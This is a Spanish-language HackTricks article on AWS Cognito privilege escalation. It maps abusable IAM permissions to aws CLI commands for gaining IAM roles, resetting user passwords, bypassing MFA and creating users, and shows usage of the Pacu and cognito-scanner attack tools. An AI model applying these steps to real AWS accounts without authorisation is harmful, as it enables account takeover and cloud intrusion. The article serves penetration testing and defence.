AWS - Cognito Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Cognito

Para obtener más información sobre Cognito, consulta:

pageAWS - Cognito Enum

Recopilación de credenciales desde Identity Pool

Dado que Cognito puede otorgar credenciales de roles IAM tanto a usuarios autenticados como a usuarios no autenticados, si localizas el ID del Identity Pool de una aplicación (que debería estar codificado en ella), puedes obtener nuevas credenciales y, por lo tanto, realizar una escalada de privilegios (dentro de una cuenta de AWS donde probablemente ni siquiera tenías credenciales previamente).

Para obtener más información, consulta esta página.

Impacto potencial: Escalada directa a los roles de servicios adjuntos a usuarios no autenticados (y probablemente al adjunto a usuarios autenticados).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Con este permiso, puedes otorgar cualquier rol de cognito a los usuarios autenticados/no autenticados de la aplicación de cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Si la aplicación de cognito no tiene habilitados los usuarios no autenticados, es posible que también necesites el permiso cognito-identity:UpdateIdentityPool para habilitarlo.

Impacto potencial: Escalada directa de privilegios a cualquier rol de cognito.

cognito-identity:update-identity-pool

Un atacante con este permiso podría, por ejemplo, configurar un Grupo de Usuarios de Cognito bajo su control u otro proveedor de identidad donde pueda iniciar sesión como una forma de acceder a este Grupo de Identidades de Cognito. Luego, simplemente iniciar sesión en ese proveedor de usuarios le permitirá acceder al rol autenticado configurado en el Grupo de Identidades.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

También es posible abusar de este permiso para permitir la autenticación básica:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impacto Potencial: Comprometer el rol IAM autenticado configurado dentro del grupo de identidad.

cognito-idp:AdminAddUserToGroup

Esta permiso permite agregar un usuario de Cognito a un grupo de Cognito, por lo tanto, un atacante podría abusar de este permiso para agregar un usuario bajo su control a otros grupos con privilegios mejores o diferentes roles IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impacto Potencial: Escalada de privilegios a otros grupos de Cognito y roles IAM adjuntos a Grupos de Piscinas de Usuarios.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un atacante con estos permisos podría crear/actualizar grupos con cada rol IAM que puede ser utilizado por un Proveedor de Identidad Cognito comprometido y hacer que un usuario comprometido forme parte del grupo, accediendo a todos esos roles:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impacto potencial: Escalada de privilegios a otros roles IAM de Cognito.

cognito-idp:AdminConfirmSignUp

Este permiso permite verificar un registro. Por defecto, cualquiera puede registrarse en aplicaciones de Cognito. Si se deja así, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Escalada de privilegios indirecta al rol IAM del grupo de identidades para usuarios autenticados si puedes registrar un nuevo usuario. Escalada de privilegios indirecta a otras funcionalidades de la aplicación al poder confirmar cualquier cuenta.

cognito-idp:AdminCreateUser

Esta permiso permitiría a un atacante crear un nuevo usuario dentro del grupo de usuarios. El nuevo usuario se crea como habilitado, pero necesitará cambiar su contraseña.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impacto Potencial: Escalada de privilegios directa al rol IAM del grupo de identidades para usuarios autenticados. Escalada de privilegios indirecta a otras funcionalidades de la aplicación al poder crear cualquier usuario

cognito-idp:AdminEnableUser

Estos permisos pueden ayudar en un escenario muy específico donde un atacante haya encontrado las credenciales de un usuario deshabilitado y necesite habilitarlo nuevamente.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Escalada de privilegios indirecta al rol IAM del grupo de identidades para usuarios autenticados y permisos del usuario si el atacante tuviera credenciales de un usuario deshabilitado.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Esta permiso permite iniciar sesión con el método ADMIN_USER_PASSWORD_AUTH. Para obtener más información, sigue el enlace.

cognito-idp:AdminSetUserPassword

Este permiso permitiría a un atacante cambiar la contraseña de cualquier usuario, lo que le permitiría hacerse pasar por cualquier usuario (que no tenga habilitado el MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impacto Potencial: Escalada de privilegios directa a potencialmente cualquier usuario, lo que permite acceder a todos los grupos de los que cada usuario es miembro y acceder al rol IAM autenticado del grupo de identidades.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Un atacante podría potencialmente abusar de este permiso para establecer un teléfono móvil bajo su control como MFA de SMS de un usuario.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Similar al anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un usuario y así evadir la protección de MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: También es posible actualizar el grupo de usuarios para cambiar la política de MFA. Ver cli aquí.

Impacto Potencial: Escalada de privilegios indirecta a potencialmente cualquier usuario del que el atacante conozca las credenciales, lo que podría permitir evitar la protección de MFA.

cognito-idp:AdminUpdateUserAttributes

Un atacante con este permiso podría cambiar el correo electrónico o número de teléfono u otro atributo de un usuario bajo su control para intentar obtener más privilegios en una aplicación subyacente. Esto permite cambiar un correo electrónico o número de teléfono y establecerlo como verificado.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impacto Potencial: Posible escalada de privilegios indirecta en la aplicación subyacente utilizando Cognito User Pool que otorga privilegios basados en atributos de usuario.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un atacante con este permiso podría crear un nuevo Cliente de User Pool menos restringido que los clientes de pool existentes. Por ejemplo, el nuevo cliente podría permitir cualquier tipo de método de autenticación, no tener ningún secreto, tener la revocación de tokens deshabilitada, permitir que los tokens sean válidos por un período más largo...

Lo mismo se puede hacer si en lugar de crear un nuevo cliente, se modifica uno existente.

En la línea de comandos (o en la de actualización) puedes ver todas las opciones, ¡compruébalo!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impacto Potencial: Posible escalada de privilegios indirecta al grupo de identidades autorizado utilizado por el grupo de usuarios al crear un nuevo cliente que relaje las medidas de seguridad y permita a un atacante iniciar sesión con un usuario que pudo crear.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un atacante podría abusar de este permiso para crear usuarios subiendo un archivo CSV con nuevos usuarios.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

Impacto Potencial: Escalada de privilegios directa al rol IAM del grupo de identidades para usuarios autenticados. Escalada de privilegios indirecta a otras funcionalidades de la aplicación al poder crear cualquier usuario.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un atacante podría crear un nuevo proveedor de identidad para luego poder iniciar sesión a través de este proveedor.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impacto Potencial: Escalada de privilegios directa al rol IAM del grupo de identidades para usuarios autenticados. Escalada de privilegios indirecta a otras funcionalidades de la aplicación al poder crear cualquier usuario.

Análisis de cognito-sync:*

Esta es una permisión muy común de forma predeterminada en los roles de Grupos de Identidades de Cognito. Aunque un comodín en los permisos siempre parece mal (especialmente viniendo de AWS), los permisos otorgados no son muy útiles desde la perspectiva de un atacante.

Esta permisión permite leer la información de uso de los Grupos de Identidades e IDs de Identidad dentro de los Grupos de Identidades (que no es información sensible). Los IDs de Identidad podrían tener Conjuntos de Datos asignados a ellos, que son información de las sesiones (AWS lo define como un juego guardado). Es posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la página de enumeración cómo acceder a esta información.

Un atacante también podría usar estos permisos para inscribirse en un flujo de Cognito que publique cambios en estos conjuntos de datos o un lambda que se active en eventos de cognito. No he visto que se use esto, y no esperaría información sensible aquí, pero no es imposible.

Herramientas Automáticas

  • Pacu, el marco de explotación de AWS, ahora incluye los módulos "cognito__enum" y "cognito__attack" que automatizan la enumeración de todos los activos de Cognito en una cuenta y señalan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte para MFA) y la escalada de privilegios basada en atributos personalizables modificables, credenciales de grupo de identidades utilizables, roles asumibles en tokens de identidad, etc.

Para obtener una descripción de las funciones de los módulos, consulta la parte 2 de la publicación del blog. Para instrucciones de instalación, consulta la página principal de Pacu.

Uso

Uso de muestra de cognito__attack para intentar la creación de usuarios y todos los vectores de escalada de privilegios contra un grupo de identidades y cliente de grupo de usuarios específicos:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Ejemplo de uso de cognito__enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta actual de AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluida una escalada de privilegios de privesc.

Instalación

$ pip install cognito-scanner

Uso

$ cognito-scanner --help

Para obtener más información, visita https://github.com/padok-team/cognito-scanner

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización